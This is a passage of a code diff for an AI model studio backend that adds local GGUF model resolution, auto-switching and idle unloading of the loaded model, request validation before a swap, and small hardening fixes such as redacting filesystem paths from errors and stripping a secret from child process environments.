_scan_models_dir(fp, limit = 200) + _scan_hf_once(fp) + _scan_lmstudio_dir(fp) + ) + except Exception as exc: + logger.debug("auto-switch: scan folder %r failed: %s", folder, exc) + except Exception as exc: + logger.debug("auto-switch: scan folders enumerate failed: %s", exc) + for info in found: + raw_id = getattr(info, "id", None) + if not raw_id: + continue + # Skip what Studio hides from its pickers (validation probe, RAG embed + # weights): not chat models, so never an auto-switch target. + if _is_hidden_model(raw_id, getattr(info, "path", None)): + continue + # Advertise a client-facing alias, not an absolute filesystem path. + loader_id = _advertised_loader_id(info) + entry = _local_gguf_entry(loader_id, info) + if entry is None: + continue + # Index every alias (including the path) so a client can resolve by any of + # them, even though only the non-path loader_id is advertised. + for key in (raw_id, getattr(info, "model_id", None), getattr(info, "display_name", None)): + if key: + index.setdefault(key.strip().lower(), entry) + return index + + +def _index() -> dict[str, _LocalGgufEntry]: + global _scan + # Build under the lock so concurrent callers with an expired cache don't all + # run the (multi-dir) scan at once; the rest wait and reuse the fresh result. + with _lock: + now = time.monotonic() + ts, cached = _scan + if now - ts < _CACHE_TTL_S: + return cached + fresh = _build_index() + # Stamp AFTER the scan, not with the pre-scan ``now``: a multi-root scan on + # an install with many local models can itself exceed the TTL, which would + # store the cache already expired and make every request rebuild the index. + _scan = (time.monotonic(), fresh) + return fresh + + +def resolve_local_gguf(requested: str) -> Optional[tuple[str, Optional[str], str]]: + """Return ``(load_path, gguf_variant, loader_id)`` for a local match, else None. + + ``load_path`` is the concrete on-disk path to hand /load (so it never fetches + a remote), ``loader_id`` is the advertised id used as the launch-override key. + ``requested`` is ``repo`` or ``repo:VARIANT``. An exact id match wins first + (so ids containing a colon still resolve); else the last ``:VARIANT`` is split + off and resolves only when that quant is on disk. + """ + if not isinstance(requested, str) or not requested.strip(): + return None + requested = requested.strip() + try: + index = _index() + entry = index.get(requested.lower()) + if entry is not None: + variant = entry.variants[0] if entry.variants else None + return entry.load_path, variant, entry.loader_id + + base, sep, variant = requested.rpartition(":") + if not sep: + return None + entry = index.get(base.strip().lower()) + if entry is None: + return None + wanted = variant.strip().lower() + for v in entry.variants: + if v.lower() == wanted: + return entry.load_path, v, entry.loader_id + return None + except Exception: + # Best-effort: any resolver failure falls through to the loaded model, + # so a malformed name can never turn a servable request into a 500. + return None diff --git a/studio/backend/core/inference/sd_cpp_backend.py b/studio/backend/core/inference/sd_cpp_backend.py index a38f43b885..ee8a677096 100644 --- a/studio/backend/core/inference/sd_cpp_backend.py +++ b/studio/backend/core/inference/sd_cpp_backend.py @@ -377,9 +377,14 @@ class SdCppDiffusionBackend: if self._load_token != _load_token: return logger.error("sd_cpp.load_failed: %s", exc) + # Redact filesystem paths before this reaches /images/load-progress: an + # asset-fetch / local-path / cache-IO failure can embed absolute paths + # (e.g. /home//...), and the diffusers load path scrubs the same way. + from utils.native_path_leases import redact_native_paths + with self._lock: if self._load_token == _load_token and self._loading is not None: - self._loading.error = str(exc) + self._loading.error = redact_native_paths(str(exc)) def _asset_specs( self, repo_id: str, gguf_filename: str, fam: DiffusionFamily diff --git a/studio/backend/core/inference/sd_cpp_engine.py b/studio/backend/core/inference/sd_cpp_engine.py index 3395ea05ec..0d4d0cc47a 100644 --- a/studio/backend/core/inference/sd_cpp_engine.py +++ b/studio/backend/core/inference/sd_cpp_engine.py @@ -35,6 +35,7 @@ from pathlib import Path from typing import Callable, Optional from utils.process_lifetime import child_popen_kwargs +from utils.native_path_leases import child_env_without_native_path_secret from core.inference.sd_cpp_args import ( SdCppGenParams, SdCppModelFiles, @@ -96,8 +97,13 @@ def runtime_env(binary: str, base_env: Optional[dict[str, str]] = None) -> dict[ next to ``sd-cli``, so prepend the binary's own directory to the platform library path. A locally-built binary that is already linked finds its libs regardless, so this is harmless there. + + Every ``sd-cli`` launch (version probe + generate/upscale) funnels through here, + so this is also the chokepoint that strips the native-path lease secret from the + child env -- the sd-cli binary is an external process that must not be able to + mint/verify native-path grants, matching the other subprocess launchers. """ - env = dict(os.environ if base_env is None else base_env) + env = child_env_without_native_path_secret(os.environ if base_env is None else base_env) var = _lib_path_var() bindir = str(Path(binary).resolve().parent) existing = env.get(var, "") diff --git a/studio/backend/core/rag/captioner.py b/studio/backend/core/rag/captioner.py index e29c9c9a7a..6d1512a770 100644 --- a/studio/backend/core/rag/captioner.py +++ b/studio/backend/core/rag/captioner.py @@ -128,6 +128,8 @@ def _vision_complete( json = payload, timeout = timeout, headers = _vision_auth_headers(), + # trust_env=False: base_url is the loopback backend; skip any HTTP(S)_PROXY. + trust_env = False, ) r.raise_for_status() text = r.json()["choices"][0]["message"]["content"] diff --git a/studio/backend/core/rag/embed_llama_server.py b/studio/backend/core/rag/embed_llama_server.py index c2e4ecc740..f53478463c 100644 --- a/studio/backend/core/rag/embed_llama_server.py +++ b/studio/backend/core/rag/embed_llama_server.py @@ -61,9 +61,8 @@ class LlamaServerBackend: self._binary: str | None = None # Sticky after an auto GPU start fails: later spawns stay on CPU. self._force_cpu = False - # Pooled client; requests pass full URLs, so a respawn's new port needs - # no rebuild. - self._client = httpx.Client(timeout = config.EMBED_REQUEST_TIMEOUT_S) + # Pooled client (full URLs per request survive a respawn); trust_env=False skips HTTP(S)_PROXY. + self._client = httpx.Client(timeout = config.EMBED_REQUEST_TIMEOUT_S, trust_env = False) atexit.register(self._shutdown) @property @@ -305,7 +304,8 @@ class LlamaServerBackend: logger.error("llama-server embedder exited early (code %s)", code) return False try: - if httpx.get(url, timeout = 2.0).status_code == 200: + # trust_env=False: a proxy that 503s 127.0.0.1 must not block this probe. + if httpx.get(url, timeout = 2.0, trust_env = False).status_code == 200: return True except (*_TRANSPORT_ERRORS, httpx.TimeoutException): pass diff --git a/studio/backend/core/training/trainer.py b/studio/backend/core/training/trainer.py index 6f55daee39..20b2305a5a 100644 --- a/studio/backend/core/training/trainer.py +++ b/studio/backend/core/training/trainer.py @@ -3672,7 +3672,7 @@ class UnslothTrainer: return try: - with open(config_path, "r") as f: + with open(config_path, "r", encoding = "utf-8") as f: config = json.load(f) # Determine training method @@ -3686,7 +3686,7 @@ class UnslothTrainer: config["unsloth_training_method"] = method logger.info(f"Patching adapter_config.json with unsloth_training_method='{method}'") - with open(config_path, "w") as f: + with open(config_path, "w", encoding = "utf-8") as f: json.dump(config, f, indent = 2) except Exception as e: diff --git a/studio/backend/main.py b/studio/backend/main.py index 0a5b775775..5402e5eb7b 100644 --- a/studio/backend/main.py +++ b/studio/backend/main.py @@ -24,6 +24,18 @@ os.environ["PYTHONWARNINGS"] = "ignore" # process is covered before its heavy ML imports. os.environ.setdefault("CUDA_DEVICE_ORDER", "PCI_BUS_ID") +# Windows terminals default to the active system code page. Reconfigure +# stdout/stderr before the startup banner so non-ASCII output cannot crash the +# backend process. +if sys.platform == "win32": + for _win_stream in (sys.stdout, sys.stderr): + if _win_stream is not None and hasattr(_win_stream, "reconfigure"): + try: + _win_stream.reconfigure(encoding = "utf-8", errors = "replace") + except Exception: + pass + del _win_stream + # ── Windows AMD ROCm DLL injection ────────────────────────────────────────── # Python 3.8+ ignores PATH for extension modules; register ROCm bin dirs with # os.add_dll_directory() so amdhip64.dll etc. are found before any torch import. @@ -520,6 +532,11 @@ async def lifespan(app: FastAPI): _start_helper_precache_if_enabled() threading.Thread(target = _warm_rag_embedder, daemon = True, name = "rag-embedder-warm").start() + # Idle auto-unload loop (no-op unless the OpenAI auto-unload TTL is set). + from core.inference.llama_keepwarm import idle_unload_loop + + app.state.idle_unload_task = asyncio.create_task(idle_unload_loop()) + # Initialize RSA key pair for API key encryption (external providers). from core.inference.key_exchange import init_key_pair @@ -549,6 +566,14 @@ async def lifespan(app: FastAPI): ) yield + _idle_task = getattr(app.state, "idle_unload_task", None) + if _idle_task is not None: + _idle_task.cancel() + try: + await _idle_task + except asyncio.CancelledError: + pass + from core.inference.llama_http import aclose as _close_llama_http await _close_llama_http() @@ -871,6 +896,11 @@ app.add_middleware( upload_passthrough_max_bytes_getter = _get_upload_passthrough_request_max_bytes, ) +# Tracks in-flight inference requests for idle auto-unload; off -> passthrough. +from core.inference.llama_keepwarm import LlamaKeepWarmMiddleware # noqa: E402 + +app.add_middleware(LlamaKeepWarmMiddleware) + from starlette.responses import RedirectResponse as _RedirectResponse # noqa: E402 diff --git a/studio/backend/models/inference.py b/studio/backend/models/inference.py index 9739213fde..a6cff30e9b 100644 --- a/studio/backend/models/inference.py +++ b/studio/backend/models/inference.py @@ -1804,6 +1804,14 @@ class DiffusionLoadRequest(BaseModel): "shifts the residual distribution).", ) + @field_validator("attention_backend", mode = "before") + @classmethod + def _normalize_attention_backend(cls, value): + # The dispatcher accepts case/whitespace variants ("CuDNN", " sage "), but the + # Literal above is validated before any normaliser runs, so fold a string to its + # canonical lower/stripped form here -- otherwise valid casing gets a 422. + return value.strip().lower() if isinstance(value, str) else value + class LoraSpec(BaseModel): """One LoRA adapter to apply for a generation, referenced by its discovery id. diff --git a/studio/backend/routes/inference.py b/studio/backend/routes/inference.py index 99f541589a..5f1a5103a4 100644 --- a/studio/backend/routes/inference.py +++ b/studio/backend/routes/inference.py @@ -19,6 +19,7 @@ import httpx from loggers import get_logger import asyncio import threading +import weakref import re as _re @@ -2274,6 +2275,411 @@ def get_llama_cpp_backend() -> LlamaCppBackend: return _llama_cpp_backend +# Serializes opt-in auto-switch loads so two requests can't race a swap. One +# lock per running loop, since a module-level asyncio.Lock binds to a single +# loop and breaks multi-loop runners (e.g. pytest's per-test loops on pre-3.10). +_auto_switch_locks: "weakref.WeakKeyDictionary" = weakref.WeakKeyDictionary() +_auto_switch_locks_guard = threading.Lock() + + +def _auto_switch_lock() -> asyncio.Lock: + loop = asyncio.get_running_loop() + # WeakKeyDictionary mutation isn't thread-safe; guard get-or-create so two + # loops on different threads can't race it. + with _auto_switch_locks_guard: + lock = _auto_switch_locks.get(loop) + if lock is None: + lock = _auto_switch_locks[loop] = asyncio.Lock() + return lock + + +# Process-wide gate so a swap on another event loop in this process can't race +# this one for the single model slot: the asyncio lock above is per loop, but the +# backend slot and _load_model_impl are process-wide. threading.Lock so it serializes +# across loops/threads; released from the loop thread (Lock allows cross-thread release). +_auto_switch_process_lock = threading.Lock() + + +async def _acquire_swap_gate() -> None: + # Non-blocking first for the common single-loop case; otherwise poll off a + # short sleep rather than awaiting to_thread(acquire). A cancelled to_thread + # (client disconnect mid-wait) leaves its worker thread still acquiring, so the + # gate gets taken but the finally that releases it never runs -- deadlocking + # later swaps. Polling keeps the wait off this loop AND cancellation-safe: a + # cancel lands during the sleep, when the gate is not held. + while not _auto_switch_process_lock.acquire(blocking = False): + await asyncio.sleep(0.02) + + +# Counts in-flight auto-switch requests per (target, variant). The busy guard +# subtracts same-target waiters so concurrent requests for one model load once +# instead of each 409-ing the other. +_auto_switch_waiters: dict[tuple[str, str], int] = {} +_auto_switch_waiters_guard = threading.Lock() + + +def _switch_key(override_id: str, variant: Optional[str]) -> tuple[str, str]: + return (override_id.lower(), (variant or "").lower()) + + +def _note_switch_waiter(key: tuple[str, str], delta: int) -> None: + with _auto_switch_waiters_guard: + n = _auto_switch_waiters.get(key, 0) + delta + if n > 0: + _auto_switch_waiters[key] = n + else: + _auto_switch_waiters.pop(key, None) + + +def _same_target_waiters(key: tuple[str, str]) -> int: + with _auto_switch_waiters_guard: + return _auto_switch_waiters.get(key, 0) + + +# A second waiter map keyed by the raw requested model, registered before the +# (slow) resolve. The middleware counts a concurrent same-model request as +# in-flight before it resolves and joins _auto_switch_waiters, so without this +# the first request would see it as an unrelated request and 409. +_auto_switch_request_waiters: dict[str, int] = {} +_auto_switch_request_waiters_guard = threading.Lock() + + +def _request_waiter_key(requested_model: str) -> str: + return requested_model.strip().lower() + + +def _note_request_waiter(key: str, delta: int) -> None: + with _auto_switch_request_waiters_guard: + n = _auto_switch_request_waiters.get(key, 0) + delta + if n > 0: + _auto_switch_request_waiters[key] = n + else: + _auto_switch_request_waiters.pop(key, None) + + +def _same_request_waiters(key: str) -> int: + with _auto_switch_request_waiters_guard: + return _auto_switch_request_waiters.get(key, 0) + + +def _llama_public_model_id(llama_backend, fallback: Optional[str] = None) -> Optional[str]: + """The id to report for the loaded GGUF in API responses: the advertised repo + id from an auto-switch load, else the cleaned public id, never the on-disk + .gguf path (see core.inference.model_ids.public_model_id).""" + return ( + getattr(llama_backend, "_openai_advertised_id", None) + or public_model_id(getattr(llama_backend, "model_identifier", None)) + or public_model_id(fallback) + or fallback + ) + + +_DISABLE_OPENAI_AUTO_SWITCH_SCOPE_KEY = "_unsloth_disable_openai_auto_switch" +# Sentinel a raw-body endpoint passes when the request omits ``model``: it must +# only restore an idle-freed model, never run the resolver (so a downloaded GGUF +# literally named "default" can't be swapped to). The NUL keeps it off any index. +_RELOAD_ONLY_MODEL = "\x00reload-only" + + +def _switch_model_for_payload(payload) -> str: + # A pydantic request fills an omitted ``model`` with "default"; only an + # explicitly set model may switch, else reload-only so a GGUF named "default" + # is never matched (mirrors the raw-body sentinel path). + return payload.model if "model" in payload.model_fields_set else _RELOAD_ONLY_MODEL + + +def _target_is_vision(load_path: str) -> bool: + # A local GGUF's vision capability is its companion mmproj, a filesystem check + # (no model load). Matches the loaded backend's is_vision, so rejecting a swap + # here can't differ from the post-load guard. Thread the ambient HF token so the + # probe keeps the capability-probe invariant (the resolver only yields local + # paths, where the token is unused, but the rule requires it regardless). + from utils.models.model_config import is_vision_model + try: + return bool(is_vision_model(load_path, hf_token = os.environ.get("HF_TOKEN"))) + except Exception as exc: + # Detection failure: don't block the swap, let the load decide. + logger.debug("auto-switch: vision probe failed for %s: %s", load_path, exc) + return True + + +def _messages_have_image(messages) -> bool: + return any( + isinstance(m.content, list) and any(isinstance(p, ImageContentPart) for p in m.content) + for m in messages + ) + + +def _request_has_image(payload) -> bool: + if getattr(payload, "image_base64", None): + return True + return _messages_have_image(payload.messages) + + +def _anthropic_request_has_image(payload) -> bool: + # Mirror anthropic_messages_to_openai: an Anthropic image block carries + # ``type == "image"`` (typed AnthropicImageBlock or a raw dict). + for msg in getattr(payload, "messages", None) or []: + content = getattr(msg, "content", None) + if not isinstance(content, list): + continue + for block in content: + bt = block.get("type") if isinstance(block, dict) else getattr(block, "type", None) + if bt == "image": + return True + return False + + +def disable_openai_auto_switch_for_request(scope) -> None: + """Opt a request out of OpenAI auto-switch. The public preview route uses this: + it always serves its pinned checkpoint, so a caller-supplied model must never + swap the loaded model.""" + if isinstance(scope, dict): + scope[_DISABLE_OPENAI_AUTO_SWITCH_SCOPE_KEY] = True + + +def _automatic_model_load_may_run() -> bool: + """True when a request can trigger an automatic load: either resolver-based + auto-switch is on, or a standalone idle TTL can reload an idle-freed model. The + validate-before-switch guards key off this so an invalid request never loads.""" + from utils.openai_auto_switch_settings import ( + get_openai_auto_switch_enabled, + get_auto_unload_idle_seconds, + ) + return get_openai_auto_switch_enabled() or get_auto_unload_idle_seconds() > 0 + + +async def _maybe_auto_switch_model( + requested_model: Optional[str], + fastapi_request: Request, + current_subject: str, + *, + require_vision: bool = False, +) -> None: + """Load a downloaded local GGUF named by an OpenAI request when auto-switch is on. + + No-op unless enabled and ``requested_model`` resolves to a downloaded local + model different from the loaded one. Unknown names fall through (drop-in + compat) and no remote download is triggered. ``require_vision`` rejects a swap + to a text-only target before it runs, so an image request can't evict the + resident vision model only to 400 afterwards. + """ + from utils.openai_auto_switch_settings import ( + get_openai_auto_switch_enabled, + get_auto_unload_idle_seconds, + get_model_override, + ) + from core.inference.local_model_resolver import resolve_local_gguf + from core.inference.llama_keepwarm import ( + get_last_unloaded_model, + other_inference_request_count, + inference_lifecycle_gate, + ) + + # Treat a non-string model (e.g. {"model": 123} on a raw-body endpoint) as + # absent so it falls through instead of raising in the membership checks below. + if not isinstance(requested_model, str) or not requested_model: + return + # The public preview route opts out so a caller cannot switch away from the + # pinned preview checkpoint it just loaded. + scope = getattr(fastapi_request, "scope", None) + if isinstance(scope, dict) and scope.get(_DISABLE_OPENAI_AUTO_SWITCH_SCOPE_KEY): + return + auto_switch_on = get_openai_auto_switch_enabled() + # The reload-stash path also runs when idle-unload is active on its own (a + # standalone UNSLOTH_MODEL_IDLE_TTL with auto-switch off), so a model the idle + # loop freed is restored on the next request. The resolver-based switch still + # requires the auto-switch toggle. + if not auto_switch_on and get_auto_unload_idle_seconds() <= 0: + return + + # Register by the raw requested model before resolving (which can be slow): + # the middleware already counts a concurrent same-model request as in-flight, + # so the busy guard must know it shares this target even while it resolves. + request_key = _request_waiter_key(requested_model) + _note_request_waiter(request_key, 1) + try: + # Off the loop: a cold-cache rebuild walks several model dirs + HF caches. + # With auto-switch off (or an omitted-model reload-only request), skip the + # resolve so only the reload-stash path runs and no name is ever matched. + reload_only = requested_model == _RELOAD_ONLY_MODEL + resolved = ( + await asyncio.to_thread(resolve_local_gguf, requested_model) + if auto_switch_on and not reload_only + else None + ) + if resolved is None: + # Idle-unload may have freed the model; reload exactly what it freed + # (path + quant + advertised id) so an alias/unknown name stays servable + # and keeps the override keyed by the advertised id, not the load path. + last = get_last_unloaded_model() + # A non-GGUF (Unsloth/Transformers) model loaded after the idle-unload + # leaves the GGUF slot empty but is the live model, so don't resurrect + # the stale GGUF over it (that load would tear the active model down). + if ( + not last + or get_llama_cpp_backend().is_loaded + or getattr(get_inference_backend(), "active_model_name", None) + ): + return + if len(last) == 3: + target_id, variant, override_id = last + else: # pre-3-tuple stash: fall back to the path as the override key + target_id, variant = last + override_id = target_id + else: + # load_path is a concrete local path (never the bare repo id), so /load + # takes the local branch and cannot trigger a download. override_id is the + # advertised repo id, the launch-override key and the public model id. + target_id, variant, override_id = resolved + backend = get_llama_cpp_backend() + # A bare model id (no :VARIANT) is satisfied by any loaded quant of that + # repo, so it never reloads a different local quant that already serves it. + bare = ":" not in requested_model + + def _already_serving() -> bool: + # Match against both the concrete load path and the advertised repo id, + # so a model loaded manually by repo id (identifier = repo id) and one + # loaded by auto-switch (identifier = path, advertised = repo id) both + # count as already serving rather than triggering a needless reswap. + if not backend.is_loaded or not backend.model_identifier: + return False + loaded_keys = {backend.model_identifier.lower()} + advertised = getattr(backend, "_openai_advertised_id", None) + if advertised: + loaded_keys.add(advertised.lower()) + if loaded_keys.isdisjoint({target_id.lower(), override_id.lower()}): + return False + if bare: + return True + if variant: + loaded_variant = (getattr(backend, "hf_variant", None) or "").lower() + return loaded_variant == variant.lower() + return True + + def _record_serving_alias() -> None: + # When an advertised alias already resolves to the loaded model (e.g. a + # model loaded by local path, requested by its repo/LM Studio id), record + # the alias as the public id so /v1/models and responses report it (and + # mark it loaded) instead of the path-derived basename. Resolver branch + # only: the reload-stash override_id can be the bare path, not a repo id. + # Lock-free is safe here: an in-flight request blocks any concurrent swap + # (single-slot busy guard), so the loaded model can't change under this. + if resolved is None or not override_id: + return + b = get_llama_cpp_backend() + if getattr(b, "_openai_advertised_id", None) != override_id: + b._openai_advertised_id = override_id + + if _already_serving(): + _record_serving_alias() + return + # An image/audio request naming a different text-only GGUF would load it + # here and only 400 below, evicting the working model. Reject before the + # swap. Only the resolver branch (an explicit new target); the reload-stash + # path just restores the model the request was already using. Both vision and + # audio input come from a companion mmproj (a filesystem probe) -- run it off + # the loop, like the resolver above. + if ( + require_vision + and resolved is not None + and not await asyncio.to_thread(_target_is_vision, target_id) + ): + raise HTTPException( + status_code = 400, + detail = openai_error_body( + "The requested model does not support the image or audio input in this request.", + status = 400, + code = "invalid_value", + param = "model", + ), + ) + key = _switch_key(override_id, variant) + _note_switch_waiter(key, 1) + try: + async with _auto_switch_lock(): + # The asyncio lock is per loop; add a process-wide gate so a swap on + # another loop in this process can't race the single slot. + await _acquire_swap_gate() + try: + # Hold the keep-warm gate across the swap so no new inference can + # start on the model while it is being torn down and replaced. + async with inference_lifecycle_gate(): + if _already_serving(): + _record_serving_alias() + return + # Single slot: refuse a cross-model swap while another inference + # request is active rather than killing its response. Requests + # heading to this same target (by resolved id or raw name) are + # excluded, so concurrent requests for one model load once. A + # pending request is still in the middleware, not generating, so + # it is not counted here. + same_others = max( + _same_target_waiters(key) - 1, _same_request_waiters(request_key) - 1, 0 + ) + others = other_inference_request_count( + current_request_counted = True, include_pending = False + ) + # Not gated on the GGUF being loaded: _load_model_impl also + # tears down an active Unsloth backend before loading a GGUF, + # so refuse whenever any other inference request is in flight. + if others > same_others: + raise HTTPException( + status_code = 409, + detail = openai_error_body( + "Cannot switch models while another inference request is in progress.", + status = 409, + code = "model_switch_busy", + param = "model", + ), + ) + # Apply this model's saved launch flags so the swap honors the config. + override = get_model_override(override_id) + load_kwargs = {"model_path": target_id, "gguf_variant": variant} + if override.get("llama_extra_args") is not None: + load_kwargs["llama_extra_args"] = override["llama_extra_args"] + if override.get("max_seq_length") is not None: + load_kwargs["max_seq_length"] = override["max_seq_length"] + # Reuse the load impl so its dedup, tensor fallback, and threading + # apply. Call the impl directly: we already hold the lifecycle gate + # the /load route would otherwise take, so the route would deadlock. + await _load_model_impl( + LoadRequest(**load_kwargs), + fastapi_request, + current_subject, + ) + # Advertise the repo id (not the concrete load path) as the loaded + # model's public id and override key for /v1/models and idle stash. + get_llama_cpp_backend()._openai_advertised_id = override_id + finally: + _auto_switch_process_lock.release() + finally: + _note_switch_waiter(key, -1) + finally: + _note_request_waiter(request_key, -1) + + +async def _auto_switch_from_request_body(request: Request, current_subject: str): + """Run auto-switch from a raw-body endpoint's ``model`` without changing its + pre-feature status codes: a malformed/non-dict body yields no model (so an + unloaded backend still 503s, not 500), and the caller re-reads to surface the + original parse error after the loaded-state check. Returns the parsed body, or + None if it could not be parsed.""" + try: + body = await request.json() + except (json.JSONDecodeError, ValueError): + return None + if isinstance(body, dict): + # A raw-body client may omit ``model`` and rely on the loaded backend. Pass + # a reload-only sentinel so the idle-stash reload still runs (an idle-freed + # model is restored) without the resolver ever matching a real name. + model = body.get("model") or _RELOAD_ONLY_MODEL + else: + model = None + await _maybe_auto_switch_model(model, request, current_subject) + return body + + def _effective_load_in_4bit(config: ModelConfig, requested: bool) -> bool: """Effective quantization the loader will use: a LoRA adapter can flip 4-bit to 16-bit via adapter_config.json, so the guard sizes this, not the raw request.""" @@ -2516,6 +2922,15 @@ async def load_model( GGUF models load via llama-server (llama.cpp) instead of Unsloth. """ + # Hold the lifecycle gate across the load so idle auto-unload can't unload the + # model mid-load. Auto-switch calls _load_model_impl directly since it already + # holds this gate. + from core.inference.llama_keepwarm import inference_lifecycle_gate + async with inference_lifecycle_gate(): + return await _load_model_impl(request, fastapi_request, current_subject) + + +async def _load_model_impl(request: LoadRequest, fastapi_request: Request, current_subject: str): from core.inference.llama_cpp import LlamaServerNotFoundError native_grant_backed = False @@ -2948,6 +3363,13 @@ async def load_model( logger.info( f"Loaded GGUF model via llama-server: {model_log_label if native_grant_backed else config.identifier}" ) + # Clear any idle-unload reload stash now, not only on the next poll. + from core.inference.llama_keepwarm import note_model_loaded + + note_model_loaded() + # A plain load advertises its own identifier; auto-switch overwrites + # this with the repo id right after _load_model_impl returns. + llama_backend._openai_advertised_id = None # Audio detection moved into load_model under _serial_load_lock (#5642). _gguf_audio = llama_backend._audio_type @@ -3049,6 +3471,13 @@ async def load_model( logger.info( f"Loaded model: {model_log_label if native_grant_backed else config.identifier}" ) + # Clear any idle-unload reload stash: a manual load supersedes an idle-freed + # GGUF, so the next /v1 request must not resurrect it. Mirror the GGUF branch + # above; without this a non-GGUF load leaves a stale stash until the idle + # poll clears it (and never, while idle-unload is off). + from core.inference.llama_keepwarm import note_model_loaded + + note_model_loaded() # Load inference configuration parameters inference_config = load_inference_config(config.identifier) @@ -3379,6 +3808,10 @@ async def unload_model(request: UnloadRequest, current_subject: str = Depends(ge Unload a model from memory. Routes to the correct backend (llama-server for GGUF, Unsloth otherwise). """ + # A deliberate unload means "stay unloaded": drop any idle reload stash so the + # next /v1 request can't resurrect this model. The idle loop unloads via the + # backend directly (not this route), so clearing here never fights keep-warm. + from core.inference.llama_keepwarm import note_model_unloaded try: # Check if the GGUF backend has this model loaded or is loading it. llama_backend = get_llama_cpp_backend() @@ -3387,13 +3820,17 @@ async def unload_model(request: UnloadRequest, current_subject: str = Depends(ge or is_registered_native_path_label(llama_backend.model_identifier, request.model_path) or not llama_backend.is_loaded ): + # A manual unload is a deliberate user action: tear down now even if a + # request is mid-stream (only the automatic idle loop defers to it). llama_backend.unload_model() + note_model_unloaded() logger.info(f"Unloaded GGUF model: {request.model_path}") return UnloadResponse(status = "unloaded", model = request.model_path) # Otherwise, unload from Unsloth backend backend = get_inference_backend() backend.unload_model(request.model_path) + note_model_unloaded() logger.info(f"Unloaded model: {request.model_path}") return UnloadResponse(status = "unloaded", model = request.model_path) @@ -3802,10 +4239,25 @@ async def generate_audio( raise HTTPException(status_code = 400, detail = "No user message found.") text = last_user_msg["content"] + # Restore an idle-evicted GGUF before selecting a backend: this path is + # keep-warm-tracked but had no reload hook, so a standalone idle TTL could + # unload an audio GGUF the next request then failed to restore. Validation + # above ran first, so an invalid request never triggers a reload. + # + # Reload-only on purpose: a local GGUF's audio-input capability is not a cheap + # pre-load probe (the companion mmproj signal can't tell an audio projector + # from a vision one, and codec-based TTS ships no projector at all), so passing + # the client model through the resolver could load a text- or vision-only target + # and evict the working audio model before the audio backend check fails. Only + # the idle-stash restore runs here; switching TTS models is an explicit /load. + await _maybe_auto_switch_model(_RELOAD_ONLY_MODEL, request, current_subject) + # Pick backend — both return (wav_bytes, sample_rate) llama_backend = get_llama_cpp_backend() if llama_backend.is_loaded and getattr(llama_backend, "_is_audio", False): - model_name = public_model_id(llama_backend.model_identifier) + # Advertised repo id after an auto-switch load, else a clean public id, + # never the absolute .gguf path. + model_name = _llama_public_model_id(llama_backend) gen = lambda: llama_backend.generate_audio_response( text = text, audio_type = llama_backend._audio_type, @@ -4831,6 +5283,12 @@ async def openai_chat_completions( # ── External provider routing ──────────────────────────────── # encrypted_api_key is optional -- local providers (llama.cpp / vLLM / Ollama) may run without auth. if payload.provider_id or payload.provider_type: + # External provider: this request won't touch the local GGUF, so drop it + # from the keep-warm count or its in-flight stream would falsely block a + # concurrent local auto-switch with model_switch_busy. + from core.inference.llama_keepwarm import untrack_current_request + + untrack_current_request(request.scope) # Bypass Permissions suppresses the confirm gate, so do not reject a # request that sets both flags (effective confirm is then False). if ( @@ -4884,6 +5342,95 @@ async def openai_chat_completions( ), ) + # Reject a system-only chat before any automatic load so an invalid request + # never swaps or reloads the resident model (as /responses and /messages + # already validate before switching). Gate on every automatic-load trigger, + # not just auto-switch, since a standalone idle TTL can also reload here. + # Parse once and reuse below. + _pre_parsed = None + _needs_vision = False + if _automatic_model_load_may_run(): + _pre_parsed = _extract_content_parts(payload.messages) + if not _pre_parsed[1]: + raise HTTPException( + status_code = 400, detail = "At least one non-system message is required." + ) + # Reject confirm-without-stream local tool requests before the switch: the + # local tool path requires stream=true for the confirm gate, so this shape + # is invalid and must not evict the resident model first. Mirror that path's + # enablement exactly (_effective_enable_tools honors a CLI --enable-tools + # policy hard-override; mcp_enabled opens the tool loop on its own but still + # defers to a CLI --disable-tools policy), or an mcp_enabled/policy-forced + # request would slip past this guard and only 400 after the swap. + from state.tool_policy import get_tool_policy as _get_confirm_tool_policy + + _confirm_cli_policy = _get_confirm_tool_policy() + if ( + payload.confirm_tool_calls + and not payload.bypass_permissions + and not payload.stream + and ( + _effective_enable_tools(payload) + or (bool(payload.mcp_enabled) and _confirm_cli_policy is not False) + or bool(payload.enabled_tools) + or bool(payload.tools) + or bool(payload.openai_code_exec_container_id) + or bool(payload.anthropic_code_exec_container_id) + ) + ): + raise HTTPException( + status_code = 400, + detail = openai_error_body( + "confirm_tool_calls requires stream=true for local tool execution.", + status = 400, + code = "invalid_request_error", + param = "confirm_tool_calls", + ), + ) + # Reject a malformed tool_choice forcing object before the switch: a + # {"type": "function", "function": {}} with no name would otherwise be + # forwarded to llama-server and rejected only after the model swapped. + _tc = payload.tool_choice + if isinstance(_tc, dict) and _tc.get("type") == "function": + _tc_fn = _tc.get("function") + _tc_name = _tc_fn.get("name") if isinstance(_tc_fn, dict) else None + if not isinstance(_tc_name, str) or not _tc_name.strip(): + raise HTTPException( + status_code = 400, + detail = openai_error_body( + "Invalid 'tool_choice': the forced function must have a 'name'.", + status = 400, + code = "invalid_value", + param = "tool_choice", + ), + ) + # Reject an oversized audio upload before the switch: the size cap is a + # cheap, target-independent length check, so a too-large payload must not + # load a GGUF only to 413 afterward (the decode itself stays post-switch to + # avoid decoding a valid upload twice). + if payload.audio_base64 and len(payload.audio_base64) > _MAX_AUDIO_B64_CHARS: + raise HTTPException(status_code = 413, detail = "Audio file is too large (max ~25 MB).") + # Reject streaming n>1 before the switch: only the non-streaming GGUF path + # returns multiple choices, so stream=true + n>1 is invalid on every local + # serving path (the external path already rejected it before its early + # return). Both fields are known here, so a bad shape must not load model B + # only to 400. The non-streaming n>1 cases stay post-switch, where the + # serving path decides whether the shape is supported. + if payload.stream and _wants_multiple_choices(payload): + _raise_unsupported_n("streaming chat completions") + # Audio input rides the same companion-mmproj projector as vision, so a + # text-only target can't serve it either; guard both before the switch. + _needs_vision = ( + bool(_pre_parsed[2]) or _request_has_image(payload) or bool(payload.audio_base64) + ) + + await _maybe_auto_switch_model( + _switch_model_for_payload(payload), + request, + current_subject, + require_vision = _needs_vision, + ) + llama_backend = get_llama_cpp_backend() using_gguf = llama_backend.is_loaded @@ -4939,8 +5486,9 @@ async def openai_chat_completions( return response if using_gguf: - # Echo a clean public id in the response, never the absolute .gguf path. - model_name = public_model_id(llama_backend.model_identifier) or payload.model + # Advertised repo id after an auto-switch load, else a clean public id, + # never the absolute .gguf path. + model_name = _llama_public_model_id(llama_backend, payload.model) if getattr(llama_backend, "_is_audio", False): if 